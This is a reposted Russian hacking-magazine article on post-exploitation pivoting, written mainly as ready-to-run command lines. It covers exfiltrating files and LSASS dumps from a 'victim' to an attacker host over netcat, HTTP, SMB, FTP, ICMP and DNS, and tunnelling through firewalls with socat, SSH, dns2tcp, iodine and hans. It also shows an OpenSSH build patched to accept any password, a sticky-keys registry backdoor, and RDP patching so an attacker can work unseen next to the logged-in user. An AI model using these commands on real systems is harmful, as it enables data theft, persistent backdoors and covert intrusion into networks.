JustPaste.it

Хакер - Кунг-фу pivoting. Выжимаем максимум из постэксплуатации

hacker_frei
c8dee01124fec8d43587186fa363a012.png

 

https://t.me/hacker_frei

s0i37

Содержание статьи

  • Передача файлов (инфильтрация и эксфильтрация)
  • Эксфильтрация через TCP
  • Эксфильтрация через SMB
  • Эксфильтрация через HTTP
  • Эксфильтрация с использованием FTP
  • Эксфильтрация с помощью TFTP
  • Эксфильтрация через ICMP
  • Эксфильтрация через DNS
  • Эксфильтрация plaintext
  • Проброс портов
  • Local port forwarding
  • Remote port forwarding
  • Обход сразу двух файрволов
  • dns2tcp
  • Проксирование
  • 3proxy
  • SSH
  • Используем прокси
  • VPN-туннели
  • VPN-туннель через TCP в одну команду (L3-туннель)
  • VPN туннель через SSH (L2/L3-туннели)
  • VPN-туннели на Windows
  • VPN-туннель через ICMP
  • VPN-туннель через DNS
  • Организация GUI
  • Быстрая GUI-сессия
  • Параллельный доступ по RDP
  • Выводы

Pivoting, как ни странно, не имеет никакого отношения к распитию пива. Это один из этапов взлома, когда атакующий создает для себя точку опоры в скомпрометированной системе, плацдарм для дальнейшего проникновения. О приемах, которые для этого применяются, мы сегодня и поговорим.

Во многом постэксплуатация похожа на «экстремальное администрирование» и мало связана с информационной безопасностью. Но без этого этапа не обходится ни один взлом, иначе он попросту лишен смысла. В целом постэксплуатация обычно включает следующие последовательные шаги:

  • evasion, обход антивируса;
  • persistence, закрепление (регистрация в автозагрузке, создание службы и так далее);
  • pivoting, организация доступа, точки опоры;
  • privilege escalation, повышение привилегий;
  • gathering, сбор данных (паролей, документов и прочего);
  • lateral movement, горизонтальное перемещение (получение доступа к другим хостам);
  • прочие мероприятия для управления скомпрометированной ОС (получение GUI, установка кейлоггеров, сканирование портов);
  • заметание следов (очистка логов, удаление созданных файлов).

Порядок шагов каждый раз может быть разным, некоторые из них могут и вовсе отсутствовать. Например, тот же самый pivoting нужен далеко не всегда. Каждый из этапов вполне заслуживает отдельной статьи, но сегодня мы поговорим исключительно о pivoting'е.

Pivoting направлен главным образом на обход сетевых экранов или прочих помех передаче данных между атакующим и жертвой, таких как фильтрация портов или NAT. И решать подобные проблемы можно не только пробросом портов или туннелированием. Организация GUI в среде Windows также может стать серьезной проблемой, так как некоторые программы не имеют консольного интерфейса.

С pivoting'ом можно столкнуться на любом этапе атаки — от проникновения во внутреннюю сеть, когда нужно преодолеть ограничения DMZ, до того момента, когда уже получены права администратора домена и нужно добраться до особо охраняемой локальной сети. Будем стараться использовать наименее подозрительные приемы, чтобы нас не спалили антивирусы, и при этом и наиболее универсальные — встроенные команды или портативный софт. Рассмотрим разные случаи pivoting'а — с правами администратора и без. Как обычно, на атакующей стороне используем Linux.

INFO

  • Символом # отмечены случаи, когда необходимы административные права на скомпрометированной ОС.
  • Символом $ — случаи, когда возможен запуск без прав администратора.

Передача файлов (инфильтрация и эксфильтрация)

Первая проблема, с которой атакующий сталкивается на этапе pivoting'а, — это передача файлов. Порой нужно залить на удаленный хост эксплоит поднятия привилегий, скачать какой-либо документ, дамп памяти, поднять прокси-сервер, наконец. Специфика передачи данных обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Тут есть несколько вариантов.

Эксфильтрация через TCP

Классическая передача файлов c помощью netcat выглядит так:

attacker> nc victim 1234 < file victim$> nc -nv -lp 1234 > file

То же самое, но обратное соединение:

attacker> nc -nv -lp 1234 < file victim$> nc attacker 1234 > file

Метод главным образом ориентирован на Linux. Однако даже на Linux не всегда присутствует netcat. В таком случае можно передать файлы с использованием bash:

attacker> nc -nv -lp 1234 < file victim$> exec 3<> /dev/tcp/10.0.0.1/1234 victim$> cat <&3 > file

Разумеется, мы можем выполнить передачу файлов и в обратном порядке — от victim к attacker.

Эксфильтрация через SMB

Самый простой вариант передачи файлов под Windows. Для быстрого запуска SMB-сервера используем Python-пакет impacket:

attacker> sudo smbserver.py ro /usr/share/windows-binaries/ victim$> copy \\attacker\ro\nmap.exe

Эксфильтрация через HTTP

А это — самый простой вариант передачи файлов под Linux. Для быстрого старта веб-сервера в текущей папке используем встроенный модуль Python:

attacker> python -m SimpleHTTPServer 8080 victim$> wget http://attacker/socat -O /tmp/socat

Часто HTTP — единственное окно в мир из DMZ, и в Windows тоже приходится им пользоваться, причем разными способами. Наиболее универсальный, но не самый красивый метод выглядит так:

victim$> hh.exe http://attacker/nmap.exe.txt victim$> cd \users\victim\appdata\local\microsoft\windows\ victim$> dir /s nmap.exe* victim$> cd путь_до_папки victim$> move nmap.exe[1].txt nmap.exe

Этот способ подразумевает отправку файла любого содержимого, но с расширением .txt.

Если на удаленном хосте установлена Windows 7 или новее, проще использовать PowerShell:

victim$> powershell -c (new-object System.Net.WebClient).DownloadFile('http://attacker/nmap.exe','C:\users\victim\desktop\nmap.exe')

Кроме того, если на хосте крутится более-менее свежая Windows 7, можно использовать очень полезную утилиту, к которой мы чуть позже вернемся еще не раз:

victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt

Помимо описанных методов, существует еще несколько, включая загрузку с помощью VBS или PowerShell, однако они более громоздки и используются на практике нечасто.

Эксфильтрация с использованием FTP

Способ хорошо подходит для Windows в случаях, когда SMB-порты фильтруются. Часто во внутренних сетях между VLAN'ами админы фильтруют порты 445/TCP, что добавляет атакующему проблем. Избавиться от них можно при помощи старого доброго протокола FTP. Для запуска FTP-сервера в текущей папке используем Python-пакет pyftpdlib:

attacker> sudo python -m pyftpdlib -p 21

Поскольку программа FTP интерактивная, на victim потребуется создать небольшой скрипт с командами:

victim$> echo open attacker 21 > ftp.txt victim$> echo anonymous>> ftp.txt victim$> echo pass>> ftp.txt victim$> echo bin >> ftp.txt victim$> echo GET nmap.exe >> ftp.txt victim$> echo bye >> ftp.txt victim$> ftp -s:ftp.txt

Обрати внимание: при передаче логина и пароля пробел отсутствует.

Эксфильтрация с помощью TFTP

Достаточно экзотический способ передачи файлов, однако упомянуть о нем, наверное, стоит. Для запуска TFTP-сервера можно использовать классический atftpd, а можно Python-пакет ptftpd.

attacker> sudo ptftpd -p 69 eth0 . victim#> pkgmgr /iu:TFTP; tftp.exe -i 10.0.0.10 GET nc.exe victim$> tftp attacker get /nc

Эксфильтрация через ICMP

Если весь TCP запрещен, на помощь придет протокол ICMP. Этот метод подходит для эксфильтрации, то есть только для передачи данных в одну сторону — в сторону attacker.

Под Linux это можно сделать относительно просто:

victim$> xxd -p -c 4 secret.bin | while read line; do ping -c 1 -p $line attacker; done

В приведенном выше примере мы передаем только 4 байта за один пакет. Под Windows для этого используем PowerShell и любой из кучи готовых скриптов в интернете.

Эксфильтрация через DNS

Если дело дошло до DNS, значит, на атакуемом хосте фильтруется все. Или почти все. Любая изолированная внутренняя сеть как-то взаимодействует с внешним миром — с интернетом, например, для загрузки обновлений или отправки электронной почты. Поэтому DNS почти всегда работает на резолв внешних адресов. Очень часто никто не заморачивается составлением белого списка допустимых доменов, так что мы получаем вполне рабочий канал передачи данных в обе стороны.

Для эксфильтрации и инфильтрации через DNS воспользуемся готовыми скриптами. Здесь и во всех последующих разделах о DNS подразумевается, что мы делегировали себе зону attacker.tk. Запускаем кастомный DNS-сервер:

attacker> sudo ./dns_upload.py --udp --file dnscat.exe

Запоминаем количество требуемых DNS-запросов. Для загрузки файла по DNS потребуется небольшой скрипт на VBS, так как он наиболее переносимый и будет работать на любой Windows. Перед запуском не забываем скорректировать количество DNS-запросов в цикле for. Запуск скрипта выполняется следующим образом:

victim$> cscript.exe dns_download.vbs

Несмотря на то что мы получили возможность скачать любой файл и можем воспользоваться готовыми решениями вроде dnscat, бывает, что антивирусы портят жизнь, когда нужно всего лишь забрать какой-нибудь дамп LSASS со скомпрометированной машины. Поэтому используем аналогичные скрипты для эксфильтрации:

attacker> sudo ./dns_download.py --udp --file out.bin victim$> cscript.exe dns_upload.vbs c:\path\to\secret.bin attacker.tk

Под Linux действуем таким образом:

victim$> ./dns_download.sh attacker.tk 1080 /tmp/dnscat

Метод с DNS всем хорош, но для передачи больших файлов он довольно медленный.

Эксфильтрация plaintext

Передать файлы в виде простого текста возможно почти всегда. Как правило, если у нас есть шелл, мы можем вставить в него достаточно большую порцию данных, используя буфер обмена. При этом данные должны быть представлены в текстовой форме. Иногда слишком больше порции данных передать невозможно. Поэтому в зависимости от размера передаваемого файла его следует сначала разделить на куски необходимых размеров:

attacker> split -b $[1*1024*1024] nmap.zip

В итоге получатся n файлов по 1 Мбайт (как в примере), начинающиеся на x*. В качестве метода трансформации будем использовать Base64:

attacker> base64 -w 0 < xaa > xaa.txt

Под Linux после завершения передачи куски файла могут быть соединены вместе:

victim$> for i in x*; do base64 < $i > $i.txt; done victim$> cat x*.txt > nmap.zip

Готово, файл собран из кусочков. В Windows все не так просто и для решения аналогичной задачи существуют разные приемы. Вот классический способ, подходящий для раритетных версий Windows:

attacker> wine exe2bat.exe someprog.exe commands.bat

Полученный на выходе bat-файл — это готовые команды, полностью состоящие из печатных символов. Для сборки из текстового представления (в данном случае Hex) в исходную двоичную используется встроенный компонент debug.exe, который присутствует только в 32-битных версиях Windows от XP до 7 включительно.

Более современный метод, работающий на Windows 7–10 и аналогичных серверных редакциях Windows:

victim$> certutil -decode content_base64.txt nmap.exe

В каждом из упомянутых случаев мы могли столкнуться с тем, что файл пришлось порезать на несколько кусков. Чтобы собрать получившиеся двоичные куски в один файл в Windows, нужно сделать следующее:

victim$> type xaa.bin xab.bin xac.bin > 1.exe

А если наоборот, надо выгрузить с victim на attacker двоичные файлы большого размера, например дамп памяти? Проще всего порезать файл будет с помощью 7zip (который не требует установки и может быть доставлен на машину с помощью двух файлов: 7z.exe и 7z.dll):

victim$> 7z a -v1m out.7z hugefile.bin

Затем полученные бинарные куски могут быть закодированы в Base64:

victim$> certutil -encode 1.bin 1.txt

И переданы по соответствующему каналу.

Итак, с проблемой доставки файлов разобрались. Теперь мы можем передать все необходимые программы, которые потребуются нам дальше. Под Windows будем отдавать предпочтение portable-версиям. Под Linux предполагается использовать статически собранные программы, чтобы избежать проблем с версиями библиотек. Так как скомпрометированным может быть не только сервер, но и какой-нибудь роутер или иной девайс, желательно иметь статически собранные бинарники под разные архитектуры, хотя бы самые популярные: x86, ARM и MIPS.

Проброс портов

Наверное, самое простое в pivoting'е — это пробросить куда-нибудь порт. Вариантов простого проброса достаточно много. На самом деле для простых пробросов портов будет достаточно замечательной утилиты socat:

victim$> socat.exe tcp-listen:4445,fork tcp-connect:target:445

beca34f913f8eca1cc26784779633b8f.jpg

Программа socat, кстати, портирована из Linux, поэтому там ее тоже можно задействовать, используя абсолютно аналогичный синтаксис. Вообще, возможности socat гораздо шире, чем простой редирект. К этой утилите мы еще вернемся.

Если на скомпрометированной машине у атакующего есть права администратора или root, то редирект можно выполнить средствами файрвола. На Windows это делается так:

victim#> netsh interface portproxy add v4tov4 listenport=4445 listenaddress=victim connectport=445 connectaddress=target

На Linux так:

victim#> iptables -t nat -A PREROUTING -p tcp --dport 4445 -j DNAT --to-destination target:445

Local port forwarding

Говоря о пробросе портов, нельзя пройти мимо SSH, который представляет собой достаточно гибкое решение и часто используется для этой цели. На самом деле SSH выполняет не совсем обычный редирект. Он создает туннели, позволяя повторно использовать соединение — пробрасывать новое сетевое соединение внутри другого, уже установленного. Примечательно, что и сервер, и клиент могут выступать в роли звена, выполняющего проброс.

Подразумеваем, что на victim запущен SSH-сервер, вне зависимости от того, какая ОС там используется. Проброс выполняется следующим образом:

attacker> ssh -N user@victim -L 4445:target:445

de107f3ca08f2453a776ca530de467a7.jpg

Remote port forwarding

Remote port forwarding отличается от локального проброса лишь тем, что сама процедура выполняется с SSH-сервера. В этом случае направление проброса будет противоположным установленному SSH-подключению.

Remote port forwarding может пригодиться, если нужно организовать канал эксфильтрации с victim через attacker. Например, чтобы установить нужные пакеты, скачав их через прокси на изолированном от интернета скомпрометированном хосте. Но чаще Remote port forwarding применяется, если на victim не запущен SSH-сервер или фильтруется порт. В таком случае мы можем все так же пробросить порт с attacker, но уже по инициативе victim.

Сперва запустим SSH-сервер у себя и создадим фиктивную учетную запись:

attacker> sudo /etc/init.d/ssh start attacker> useradd -M -N -d /dev/null -s /bin/false proxy attacker> passwd proxy

Чтобы неинтерактивно залогиниться по SSH, используем ключи:

victim$> chown user priv_key victim$> chmod 0400 priv_key

А теперь создаем проброс по схеме back-connect:

victim$> ssh -i priv_key proxy@attacker -N -R 4445:target:445 -o StrictHostKeyChecking=no

76b7dd17b8ac95f8f878ba7f4b871ff6.jpg

Подобный способ также поможет обойти файрвол или NAT. В Windows, где ты, скорее всего, не встретишь SSH-серверы, нам тоже придется использовать Remote port forwarding, применив для этого портативный клиент:

victim> plink.exe -N -l proxy -pw passwd -R 4445:target:445 attacker -P 22

В итоге получаем конфигурацию, идентичную той, что показана на рисунке выше. На картинке видно, что в случае c Local Port Forwarding роль проброса играет клиент, а при Remote Port Forwarding — сервер.

Работая с metasploit, мы также можем выполнять пробросы, используя соединение между victim и attacker, то есть организовать туннелирование. Чтобы построить туннель attacker:4445 → victim → target:445, делаем следующее:

meterpreter> portfwd add -L 127.0.0.1 -l 4445 -r target -p 445

Для организации туннеля victim:6666 → attacker → target:8888 выполняем следующую команду:

meterpreter> portfwd add -R -L target -l 8888 -p 6666

Обход сразу двух файрволов

Атакующим часто приходится сталкиваться с хорошо изолированными VLAN, когда attacker и victim находятся в разных сетях за файрволом или NAT и не могут напрямую устанавливать соединения ни в ту, ни в другую сторону.

adffb9aa73e67732c39425446f3ab4a5.jpg

Никакой reverse shell или SSH-туннели нам тут не помогут. В качестве альтернативы можно организовать доступ на «третий» хост из другого VLAN, на который оба могут инициировать TCP-соединение.

f477435e2018dbf10c9cc8fa4af2f781.jpg

Найти такой хост обычно не составляет проблемы. Разумеется, этот самый третий хост точно так же не может преодолеть файрвол и достучаться до attacker или victim. Для решения этой задачи используем следующий трюк:

third$> socat tcp-listen:5555 tcp-listen:6666 victim$> socat tcp-connect:third:6666 tcp-connect:target:22

6df07657e894334d51a217b4c7e96115.jpg

Важно инициировать первое подключение к 5555/tcp, поскольку socat выполняет вторую половину операций с сокетами (tcp-listen:6666) после установки соединения tcp-listen:5555. В итоге получается, что два входящих соединения связываются через pipe, и через этот pipe может пойти трафик в обход сразу двух файрволов или NAT.

004788a9c4eeda99f1a466d73de7d433.jpg

В результате мы получили доступ к порту 22 на машину target, которая пряталась за файрволом.

dns2tcp

Теперь рассмотрим тяжелый, но все же довольно характерный случай: из скомпрометированной сети нет доступа в интернет. Придется снова использовать DNS.

Утилита dns2tcp имеет версии для Windows и Linux и использует похожий на SSH синтаксис проброса портов. На серверной стороне у attacker в dns2tcpdrc мы указываем следующие настройки:

listen = 1.2.3.4 port = 53 user = nobody key = s3cr3t chroot = /var/empty/dns2tcp/ domain = attacker.tk

Запускаем:

attacker> sudo ./dns2tcpd -F -d3 -f dns2tcpdrc

Копируем на victim клиентскую часть. Для проброса трафика по маршруту victim:4444 → attacker → target:5555 запускаем утилиту со следующими параметрами:

victim$> dns2tcpc.exe -z attacker.tk -k s3cr3t -t 3 -L 4444:target:5555 8.8.8.8

Для проброса по маршруту attacker:4445 → victim → target:445 запускаем тулзу так:

victim$> dns2tcpc.exe -z attacker.tk -k s3cr3t -t 3 -R 4445:target:445 8.8.8.8

Теперь через данный туннель можно организовать прокси или пробросить сессию meterpreter и забыть об отсутствии интернета. Двигаемся дальше.

Проксирование

Проброс портов имеет одно маленькое ограничение: это статическая операция, и мы делаем отдельный проброс для каждой связки ip:port. Как правило, это нужно лишь на начальной стадии, чтобы обойти файрвол. Но если надо организовать более полноценный и удобный доступ в сетевой сегмент через скомпрометированную машину, используется прокси.

3proxy

В простых ситуациях нет ничего лучше, чем использовать 3proxy. Утилиты из этого набора программ портативные, они не требуют установки и прав администратора. Тулзы прекрасно работают как на Windows, так и на Linux и легко кросс-компилируются. Для запуска SOCKS прокси-сервера используются следующие команды (под Linux и Windows соответственно):

victim$> ./socks -d -p3128 victim$> socks.exe -d -p3128

Для запуска HTTP connect прокси-сервера используются следующие команды (под Linux и Windows соответственно):

victim$> ./proxy -d -p8080 victim$> proxy.exe -d -p8080

Если антивирус съел 3proxy, можно попробовать утилиту из набора Nmap:

victim$> ncat.exe -vv --listen 3128 --proxy-type http

Если не помогло, то переходим к SSH.

SSH

Возвращаясь к SSH, нужно упомянуть один упущенный ранее момент. Если тебе не удалось получить привилегии root на скомпрометированной машине, сразу же возникает ряд проблем. Во-первых, мы должны знать пароль от текущей учетки, который известен далеко не всегда. Во-вторых, если SSH не запущен, то его запуск потребует прав root. Все это, к счастью, можно исправить следующим образом:

attacker> git clone https://github.com/openssh/openssh-portable

Патчим функции, отвечающие за аутентификацию:

int auth_shadow_pwexpired(Authctxt *ctxt){ return 0; } int sys_auth_passwd(struct ssh *ssh, const char *password){ return 1; }

Теперь собираем тулзу — желательно статически, чтобы избежать проблем с зависимостями:

attacker> autoreconf attacker> LDFLAGS='-static' ./configure --without-openssl attacker> make attacker> ./ssh-keygen

Слегка меняем конфиг sshd_config:

Port 2222 HostKey /path/to/here/ssh_host_rsa_key

Копируем и запускаем утилиту на victim:

victim$> $(pwd)/sshd -f sshd_config

Теперь SSH-сервер сможет работать в роли прокси-сервера без прав root и залогиниться на него мы сможем с любым паролем.

На Windows, где сервер SSH обычно отсутствует, можно использовать freeSSHd, который будет работать в роли прокси-сервера. Правда, для этого нам все же потребуются права администратора. FreeSSHd — это отличная альтернатива 3proxy и meterpreter, когда антивирус не дает запустить ничего подозрительного.

Рассмотрим типичный пример прохождения сетевого периметра. Вообразим, что получен доступ к серверу из DMZ. На такие серверы обычно пробрасываются только нужные порты, а значит, напрямую на прокси мы не подключимся. Вспоминаем про туннелирование портов:

victim$> ssh -N proxy@attacker -R 2222:victim:22

Теперь attacker:2222 будет проброшен на victim:22. Через этот туннель мы организуем прокси:

attacker> ssh -ND 127.0.0.1:3128 127.0.0.1 -p2222

Если все прошло успешно, то на attacker появится SOCKS-прокси на TCP-порту 3128. По сути, это туннель внутри туннеля.

15502b0ae439225cba8901b153ae7915.jpg

Если проблем с антивирусами нет, можно воспользоваться Metasploit, это будет немного проще:

meterpreter> run autoroute -s 10.0.0.0/8 msf> use auxiliary/server/socks4a

Используем прокси

Чтобы использовать прокси на стороне атакующего, мы можем:

  • указать в настройках конкретной программы адрес прокси (тут есть минус — не все приложения поддерживают прокси);
  • принудительно проксировать любое приложение (это называется «соксификация»).

Соксификацию можно организовать следующей командой:

attacker> proxychains nmap -sT -Pn -n 192.168.0.0/24

Этот вариант подходит почти для любого приложения, даже для такого, которое не поддерживает настройку прокси, так как подменяет библиотечные вызовы connect()send() и recv(). Однако и тут есть нюансы: проксирование не поддерживают программы, генерирующие пакеты через raw-сокеты или не использующие библиотеку libc (то есть статически собранные).

Кроме того, мы можем делать прозрачное проксирование, для чего используется прокси redsocks. Для его настройки прописываем в /etc/redsocks.conf следующее:

local_ip = 127.0.0.1; local_port = 12345; ip = 127.0.0.1; port = 3128;

После этого можно запустить прокси:

attacker> sudo iptables -t nat -A OUTPUT -p tcp -d 10.0.0.0/8 -j REDIRECT —to-ports 12345 attacker> sudo redsocks -c /etc/redsocks.conf attacker> nmap -sT -Pn -n 10.0.0.0/24

Теперь можем напрямую посылать пакеты в интересующую нас сеть. Iptables прозрачно для нас перехватит их и направит на redsocks, который, в свою очередь, направит пакеты непосредственно на прокси-сервер. Однако использование raw-сокетов по-прежнему недопустимо, потому что они генерируются за пределами iptables и маршрутизации.

Проксирование все же имеет некоторые недостатки:

  • проксируются только уровни OSI выше четвертого;
  • скорость новых соединений невысока — порты будут сканироваться медленно;
  • проксируются в основном TCP-пакеты.

От всех этих проблем нас избавит полноценный VPN-туннель.

VPN-туннели

VPN-туннели призваны обеспечить атакующему полноценный доступ во внутреннюю сеть или изолированный VLAN и открыть возможность для дальнейшего комфортного продвижения. Все примеры использования туннелей требуют прав администратора или root.

VPN-туннель через TCP в одну команду (L3-туннель)

В Linux мы можем очень элегантно поднять туннель, не используя настраиваемый VPN-сервер:

attacker> sudo pppd noauth pty 'nc -klp 5555' victim#> pppd noauth persist pty 'nc attacker 5555' 172.16.0.1:172.16.0.2

Туннель создан. Теперь, чтобы превратить victim в gateway, нужно проделать следующее:

victim#> echo 1 > /proc/sys/net/ipv4/ip_forward victim#> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Готово, c этого момента мы можем направлять трафик во внутреннюю сеть как есть, используя только роутинг:

attacker> sudo route add -net 10.0.0.0/8 dev tun0

Стоит отметить, что, используя pppd, мы можем создавать туннель по инициативе любой из сторон (victim или attacker). Это значит, что мы получили возможность обойти проблемы с межсетевыми экранами. Для работы требуется поддержка ядра (модуль ppp_generic).

А вот еще один способ поднять туннель, используя IPIP:

attacker> sudo ip tunnel add tun0 mode ipip remote victim local attacker dev eth0 attacker> sudo ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1 victim#> ip tunnel add tun0 mode ipip remote attacker local victim dev eth0 victim#> ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2

VPN туннель через SSH (L2/L3-туннели)

Если на victim или attacker есть SSH-сервер, то этого достаточно, чтобы создать VPN. Сперва нужно разрешить подключение в /etc/ssh/sshd_config:

PermitTunnel point-to-point

После этого можно создать подключение:

attacker> sudo ssh -N tun@victim -w 0:0 attacker> sudo ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2 victim#> ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1 attacker> sudo route add -net 10.0.0.0/8 dev tun0 victim#> echo 1 > /proc/sys/net/ipv4/ip_forward victim#> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Для организации доступа в сеть L3-туннеля будет достаточно. Но если мы хотим не просто просканировать порты, а выполнять атаки, такие как ARP/NBNS/DHCP-spoofing, то потребуется L2-туннель. Для этого прописываем в /etc/ssh/sshd_config следующее:

PermitTunnel ethernet

Перезапускаем SSH-сервер и выполняем подключение:

attacker> sudo ssh root@victim -o Tunnel=ethernet -w any:any victim#> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.70/24 attacker> sudo dhclient tap0

Как всегда, с L2-туннелями нужно быть очень осторожным: из-за малейшей ошибки при создании мостов удаленная машина уйдет в вечный офлайн.

VPN-туннели на Windows

Windows из коробки тоже поддерживает VPN (в варианте PPTP/L2TP). Более того, управлять можно из командной строки благодаря встроенному компоненту:

victim#> rasdial.exe netname username * /phonebook:network.ini

Конфиг для network.ini выглядит следующим образом:

[netname] MEDIA=rastapi Port=VPN9-0 DEVICE=rastapi PhoneNumber=attacker

Отключают VPN-соединения следующей командой:

victim#> rasdial netname /disconnect

Не стоит забывать про классический OpenVPN, который прекрасно работает и на Linux, и на Windows. При наличии прав администратора его использование не должно вызвать проблем.

Также достаточно экзотический, но действенный способ L2-туннелирования на Windows через виртуализацию был описан в моей прошлой статье.

VPN-туннель через ICMP

Если выход в интернет запрещен, но разрешены пинги, то можно воспользоваться hans и в две команды создать L3-туннель (172.16.0.1 на attacker и 172.16.0.10 на victim):

attacker> sudo ./hans -s 172.16.0.1 -p passwd victim#> ./hans -c attacker -p passwd -a 172.16.0.10

Клиентская сторона для Windows работает аналогичным образом, но для работы потребуется tap-интерфейс, который можно создать с помощью OpenVPN.

VPN-туннель через DNS

В последний раз возвращаемся к DNS. Если в настройках DNS разрешены резолвы произвольных доменов, что бывает достаточно часто, то с помощью iodine мы можем создать полноценный L3-туннель (172.16.0.1 на attacker и 172.16.0.2 на victim):

attacker> sudo ./iodined -f 172.16.0.1 -P passwd attacker.tk victim#> ./iodine -f -P passwd attacker.tk

VPN-туннели можно организовать как напрямую между attacker и victim, так и сочетанием разных техник проброса портов. Например, мы можем вместо DNS-туннеля iodine использовать сочетание DNS2TCP + pppd.

Подводя итог под этим разделом, я бы добавил, что использование VPN-туннелей хоть и дает комфортный доступ в сеть, все же не обязательный этап в проникновении. Если это нельзя выполнить легко, то тратить время на траблшутинг нецелесообразно. Почти всегда достаточно старого доброго проксирования трафика.

Организация GUI

Очень много проблем при постэксплуатации создают GUI-программы. Несмотря на то что мы всегда предпочитаем командную строку, от GUI невозможно полностью избавиться.

В Linux в ходе постэксплуатации, как правило, крайне редко требуется GUI — почти все программы имеют CLI-интерфейс, а система обычно выступает в роли сервера. Да и сама ОС предлагает достаточно гибкие решения для предоставления GUI.

Другое дело с Windows. У подавляющего большинства программ просто нет консольного интерфейса. Настраивают систему во многом с использованием GUI. То же относится и к некоторым хакерским инструментам под Windows. С одной стороны, в Windows всегда есть встроенный RDP для удаленных графических сеансов, но с другой — на клиентских версиях Windows, которых большинство, их использование приведет к блокировке сеанса текущего пользователя. Пользователь начнет в ответ выкидывать нашу сессию, и подобные «качели» в итоге вызовут тревогу у безопасников.

Быстрая GUI-сессия

Есть старый, но безотказный трюк под названием sticky keys, позволяющий запускать программы, не выполняя входа в Windows:

victim#> reg add 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe' /v Debugger /t reg_sz /d '\windows\system32\cmd.exe'

Рекомендую использовать этот метод именно через обработчик запуска программы, а не через замену файла cmd.exe → sethc.exe, так как антивирусы такое иногда палят.

Если вдруг RDP окажется отключен, можно сделать следующее:

victim#> reg add 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f victim#> sc config TermService start= auto victim#> net start TermService victim#> netsh.exe firewall add portopening TCP 3389 'Remote Desktop' victim#> netsh advfirewall firewall add rule name='Remote Desktop' dir=in action=allow protocol=TCP localport=3389

Также убедимся, что на удаленной машине нет NLA:

victim#> reg add 'HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp' /v UserAuthentication /t REG_DWORD /d 0x0 /f

Описанный метод прост и красив — подключаемся по RDP и вместо логона жмем пять раз Shift.

ba6486575c753828ca0177f9f76f681c.jpg

Этот прием не раз выручал меня, когда требовалось запустить GUI-программу.

Но увы, у него есть минус: так как полноценная RDP-сессия при запуске программ подобным образом не создается, у нас будет лишь пара минут, пока мы не отвалимся по тайм-ауту. Часто этого времени оказывается достаточно. Но если нет?

Параллельный доступ по RDP

Как было сказано, главная проблема — не заблокировать сессию залогиненного пользователя. Существует несколько решений для патчинга службы termservice и снятия ограничений на количество одновременных сессий. Наиболее проверенным вариантом оказался rdpwrap. Патчим RDP и делаем его мультисессионным одной командой:

victim#> RDPWInst.exe -i -s

Проект, увы, не поддерживает Windows XP, тут пригодится другое решение:

victim#> termsrv_patcher.exe --patch

Теперь, используя временную локальную или доменную учетку, можно логиниться по RDP и открывать ярлыки на рабочем столе victim, пока тот работает в своей сессии и ничего не подозревает:

attacker> rdesktop victim

Выводы

Pivoting — это большой этап работ стадии постэксплуатации. Я постарался осветить связанные с ним задачи в хронологическом порядке:

  • перенос файлов;
  • проброс портов и обход файрволов;
  • получение доступа в сеть через прокси или VPN.

Конечно, встречаются более специфичные случаи, чем представленные в статье. Однако, используя сочетания представленных приемов, можно выйти победителем из любой ситуации.

Недостаточный pivoting может привести к досадной неудаче, когда был произведен взлом, получены требуемые права, но конечная цель не взята из-за каких-то технических формальностей — атакующий был за NAT и не мог принять обратный шелл или программу не удалось запустить из-за необходимости GUI, а пользователь постоянно завершал RDP-сеанс.

Видно, что многие приемы pivoting можно использовать без прав администратора или root.

Существует некий стереотип, что после получения доступа к системе следует обязательно поднять привилегии. Да, административные права — это, конечно, хорошо. Однако на моей практике было два показательных случая, когда проникновение происходило и с Windows, и с Linux, причем без прав суперпользователя. Быстрые попытки поднятия привилегий не привели к успеху, но так ли это было нужно? Даже без административных прав атакованные системы вполне можно было использовать для пересылки трафика во внутреннюю сеть, в которой найти уязвимый компонент и получить на нем полные права, как правило, не так уж и сложно. В результате в обоих случаях контроллеры доменов пали и вся внутренняя инфраструктура была захвачена.

Даже одна, самая незначительная RCE может привести к фатальным последствиям для всей инфраструктуры, всего бизнеса. Никакие файрволы и прочие превентивные меры не способны сдержать хакера, который уже успел проникнуть в сеть.

33d02eb969d1da5d188869d1697025d3.jpg

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei